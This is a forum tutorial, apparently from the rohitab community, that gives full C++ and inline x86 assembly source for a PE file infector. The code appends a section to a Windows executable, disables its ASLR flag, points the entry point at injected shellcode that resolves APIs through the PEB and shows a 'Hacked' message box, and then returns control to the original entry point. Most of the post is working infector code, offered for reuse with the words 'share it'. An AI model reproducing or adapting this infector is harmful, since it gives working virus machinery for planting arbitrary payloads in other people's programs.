I say hi to you all fellow rohitabians! What i want to explain to you in detail today is PE infection.A subject that can prove to be very challenging but very satisfying in the end ! What is required for you to understand this tutorial: Decent knowledge of Portable Executables Good knowledge of assembly Good knowledge of memory,pointers and file operations Patience Lets get started! First of all we will add a new empty PE section.Given a file path,we read the entire file,check its DOS signature for a valid PE,check if it is a x86 executable (important since we will only inject x86 opcode into this section),check if the section we wanna create doesnt already exist and if all checks out,we create a new section with a given size and characteristics.Comments are in the code and it is better explained there. This all is done by the AddSection function.It is good to mention that the method explained here uses the file on the disk,without mapping it into memory and applying read/write operations there.It highly relies on file pointers. The second and the toughest part is adding the code into the newly created section. So,basecaly what i want to do to prove this concept is this: Add a new section Retrive and save the original entry point from the Obtional Header (the address from witch the actual program starts) We change the OEP to point to our new section,so when the user opens the executable,the program starts at our code,does whatever we want BEFORE any other original code,then returns to its original entry point so the program will run as usual! In this case,i will pop a message box with the string "Hacked" in it! IMPORTANT Since the loader loads kernel32 at a different address each time the computer is restarted,we will need to DYNAMICALY retrive its base address,from PEB,so we can look for a function in the export table named LoadLibraryA, call it with "user32.dll" as argument,and later retrieve the function address of MessageBoxA from user32.dll using a call to GetProcAddress. ALL OF THIS MUST BE DONE FROM WITHIN THE NEW PE SECTION WE'VE JUST CREATED !!! So,how can this be done ? Well we need to produce opcode from asm code inside the inline assembler,and copy it into the new section. This is done by this brilliant code credited to wap2k,that i call self-read: DWORD start(0), end(0); __asm{ mov eax, loc1 mov[start], eax //we jump over the second __asm,so we dont execute it in the infector itself jmp over loc1: } __asm{ //the opcode we want to create and copy to the new section } __asm{ over: mov eax, loc2 mov [end],eax loc2: } We create 2 labels in assembly.One represents the start of the opcode section and one is the end.The second __asm code in the middle is what we are interested in.So by substracting the end from the start address we get the offset we need to copy the right code(one in the middle) without copying other opcodes,thus corrupting the integrity of our infection. We jump over the middle code so we dont execute it in the infection by using the jmp instruction (jmp to label over). Now,inside the middle code,we search for kernel32.dll base address,look for LoadLibraryA and GetProcAddress so we can finaly find MessageBoxA and call it with the desired message! After we finish searching and calling those functions (the calling and searching are made by the infected PE as i can imagine you already understood),we want to jump back to the original program code (Entry point!) Because the value of OEP is stored in a variable,inside of the infectors code,if we want to point to it in the opcode the self read part of the program will fill in an invalid address,since we point to something that only exists here,not in the infected PE's data section.Solution:We put a place holder with the fancy value of 0xdeadbeef,so we later alter this address inside the self read byte storage to the value of OEP We will replace 0xdeadbeef with the OEP manualy like this: if (*invalidEP == 0xdeadbeef){ DWORD old; VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old); *invalidEP = OEP; } The code is accompanied by comments,but i will keep explaining to you all individualy if there is a problem in understanding it! Im at work right now,and i compiled this tutorial as fast as i could,so i will expand my explanation !!! This is the code: #include #include #include #include #pragma comment(lib, "imagehlp") DWORD align(DWORD size, DWORD align, DWORD addr){ if (!(size % align)) return addr + size; return addr + (size / align + 1) * align; } int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE){ CloseHandle(file); return 0; } DWORD fileSize = GetFileSize(file, NULL); if (!fileSize){ CloseHandle(file); //empty file,thus invalid return -1; } //so we know how much buffer to allocate BYTE *pByte = new BYTE[fileSize]; DWORD dw; //lets read the entire file,so we can use the PE information ReadFile(file, pByte, fileSize, &dw, NULL); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte; if (dos->e_magic != IMAGE_DOS_SIGNATURE){ CloseHandle(file); return -1; //invalid PE } PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew); if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){ CloseHandle(file); return -3;//x64 image } PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT); WORD sCount = NT->FileHeader.NumberOfSections; //lets go through all the available sections,to see if what we wanna add,already exists or not for (int i = 0; i < sCount; i++){ PIMAGE_SECTION_HEADER x = SH + i; if (!strcmp((char *)x->Name, sectionName)){ //PE section already exists CloseHandle(file); return -2; } } ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER)); CopyMemory(&SH[sCount].Name, sectionName, 8); //We use 8 bytes for section name,cause it is the maximum allowed section name size //lets insert all the required information about our new PE section SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment, 0); SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize, NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress); SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0); SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData, NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData); SH[sCount].Characteristics = 0xE00000E0; /* 0xE00000E0 = IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ */ SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL, FILE_BEGIN); //end the file right here,on the last section + it's own size SetEndOfFile(file); //now lets change the size of the image,to correspond to our modifications //by adding a new section,the image size is bigger now NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize; //and we added a new section,so we change the NOS too NT->FileHeader.NumberOfSections += 1; SetFilePointer(file, 0, NULL, FILE_BEGIN); //and finaly,we add all the modifications to the file WriteFile(file, pByte, fileSize, &dw, NULL); CloseHandle(file); return 1; } bool AddCode(char *filepath){ HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE){ CloseHandle(file); return false; } DWORD filesize = GetFileSize(file, NULL); BYTE *pByte = new BYTE[filesize]; DWORD dw; ReadFile(file, pByte, filesize, &dw, NULL); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew); //VERY IMPORTANT //IF ASLR IS ENABLED,THIS WILL NOT WORK !!! //Solution: Disable ASLR =)) nt->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE; //since we added a new section,it must be the last section added,cause of the code inside //AddSection function,thus we must get to the last section to insert our secret data :) PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt); PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1); SetFilePointer(file, 0, 0, FILE_BEGIN); //lets save the OEP DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase; //we change the EP to point to the last section created nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress; WriteFile(file, pByte, filesize, &dw, 0); //lets obtain the opcodes DWORD start(0), end(0); __asm{ mov eax, loc1 mov[start], eax //we jump over the second __asm,so we dont execute it in the infector itself jmp over loc1: } __asm{ /* The purpose of this part is to read the base address of kernel32.dll from PEB,walk it's export table (EAT) and search for functions */ mov eax, fs:[30h] mov eax, [eax + 0x0c]; 12 mov eax, [eax + 0x14]; 20 mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10]; 16 mov ebx, eax; Take the base address of kernel32 mov eax, [ebx + 0x3c]; PE header VMA mov edi, [ebx + eax + 0x78]; Export table relative offset add edi, ebx; Export table VMA mov ecx, [edi + 0x18]; Number of names mov edx, [edi + 0x20]; Names table relative offset add edx, ebx; Names table VMA // now lets look for a function named LoadLibraryA LLA : dec ecx mov esi, [edx + ecx * 4]; Store the relative offset of the name add esi, ebx; Set esi to the VMA of the current name cmp dword ptr[esi], 0x64616f4c; backwards order of bytes L(4c)o(6f)a(61)d(64) je LLALOOP1 LLALOOP1 : cmp dword ptr[esi + 4], 0x7262694c ;L(4c)i(69)b(62)r(72) je LLALOOP2 LLALOOP2 : cmp dword ptr[esi + 8], 0x41797261; third dword = a(61)r(72)y(79)A(41) je stop; if its = then jump to stop because we found it jmp LLA; Load Libr aryA stop : mov edx, [edi + 0x24]; Table of ordinals relative add edx, ebx; Table of ordinals mov cx, [edx + 2 * ecx]; function ordinal mov edx, [edi + 0x1c]; Address table relative offset add edx, ebx; Table address mov eax, [edx + 4 * ecx]; ordinal offset add eax, ebx; Function VMA // EAX holds address of LoadLibraryA now sub esp, 11 mov ebx, esp mov byte ptr[ebx], 0x75; u mov byte ptr[ebx + 1], 0x73; s mov byte ptr[ebx + 2], 0x65; e mov byte ptr[ebx + 3], 0x72; r mov byte ptr[ebx + 4], 0x33; 3 mov byte ptr[ebx + 5], 0x32; 2 mov byte ptr[ebx + 6], 0x2e; . mov byte ptr[ebx + 7], 0x64; d mov byte ptr[ebx + 8], 0x6c; l mov byte ptr[ebx + 9], 0x6c; l mov byte ptr[ebx + 10], 0x0 push ebx //lets call LoadLibraryA with user32.dll as argument call eax; add esp, 11 //save the return address of LoadLibraryA for later use in GetProcAddress push eax // now we look again for a function named GetProcAddress mov eax, fs:[30h] mov eax, [eax + 0x0c]; 12 mov eax, [eax + 0x14]; 20 mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10]; 16 mov ebx, eax; Take the base address of kernel32 mov eax, [ebx + 0x3c]; PE header VMA mov edi, [ebx + eax + 0x78]; Export table relative offset add edi, ebx; Export table VMA mov ecx, [edi + 0x18]; Number of names mov edx, [edi + 0x20]; Names table relative offset add edx, ebx; Names table VMA GPA : dec ecx mov esi, [edx + ecx * 4]; Store the relative offset of the name add esi, ebx; Set esi to the VMA of the current name cmp dword ptr[esi], 0x50746547; backwards order of bytes G(47)e(65)t(74)P(50) je GPALOOP1 GPALOOP1 : cmp dword ptr[esi + 4], 0x41636f72 // backwards remember : ) r(72)o(6f)c(63)A(41) je GPALOOP2 GPALOOP2 : cmp dword ptr[esi + 8], 0x65726464; third dword = d(64)d(64)r(72)e(65) //no need to continue to look further cause there is no other function starting with GetProcAddre je stp; if its = then jump to stop because we found it jmp GPA stp : mov edx, [edi + 0x24]; Table of ordinals relative add edx, ebx; Table of ordinals mov cx, [edx + 2 * ecx]; function ordinal mov edx, [edi + 0x1c]; Address table relative offset add edx, ebx; Table address mov eax, [edx + 4 * ecx]; ordinal offset add eax, ebx; Function VMA // EAX HOLDS THE ADDRESS OF GetProcAddress mov esi, eax sub esp, 12 mov ebx, esp mov byte ptr[ebx], 0x4d //M mov byte ptr[ebx + 1], 0x65 //e mov byte ptr[ebx + 2], 0x73 //s mov byte ptr[ebx + 3], 0x73 //s mov byte ptr[ebx + 4], 0x61 //a mov byte ptr[ebx + 5], 0x67 //g mov byte ptr[ebx + 6], 0x65 //e mov byte ptr[ebx + 7], 0x42 //B mov byte ptr[ebx + 8], 0x6f //o mov byte ptr[ebx + 9], 0x78 //x mov byte ptr[ebx + 10], 0x41 //A mov byte ptr[ebx + 11], 0x0 /* get back the value saved from LoadLibraryA return So that the call to GetProcAddress is: esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"}) */ mov eax, [esp + 12] push ebx; MessageBoxA push eax; base address of user32.dll retrieved by LoadLibraryA call esi; GetProcAddress address :)) add esp, 12 sub esp, 8 mov ebx,esp mov byte ptr[ebx], 72; H mov byte ptr[ebx + 1], 97; a mov byte ptr[ebx + 2], 99; c mov byte ptr[ebx + 3], 107; k mov byte ptr[ebx + 4], 101; e mov byte ptr[ebx + 5], 100; d mov byte ptr[ebx + 6], 0 push 0 push 0 push ebx push 0 call eax add esp, 8 mov eax, 0xdeadbeef ;Original Entry point jmp eax } __asm{ over: mov eax, loc2 mov [end],eax loc2: } byte mac[1000]; byte *fb = ((byte *)(start)); DWORD *invalidEP; DWORD i = 0; while (i < ((end - 11) - start)){ invalidEP = ((DWORD*)((byte*)start + i)); if (*invalidEP == 0xdeadbeef){ /* Because the value of OEP is stored in this executable's data section, if we have said mov eax,OEP the self read part of the program will fill in a invalid address,since we point to something that only exists here, not in the infected PE's data section. Solution: We put a place holder with the fancy value of 0xdeadbeef,so we later alter this address inside the self read byte storage to the value of OEP */ DWORD old; VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old); *invalidEP = OEP; } mac[i] = fb[i]; i++; } SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN); WriteFile(file, mac, i, &dw, 0); CloseHandle(file); return true; } void main(){ char *file = "C:\\Users\\M\\Desktop\\Athena.exe"; int res = AddSection(file, ".ATH", 400); switch (res){ case 0: printf("Error adding section: File not found or in use!\n"); break; case 1: printf("Section added!\n"); if (AddCode(file)) printf("Code written!\n"); else printf("Error writting code!\n"); break; case -1: printf("Error adding section: Invalid path or PE format!\n"); break; case -2: printf("Error adding section: Section already exists!\n"); break; case -3: printf("Error: x64 PE detected! This version works only with x86 PE's!\n"); break; } } Try it,improve it,make it your own and most importantly: SHARE IT WITH OTHERS! Happy coding!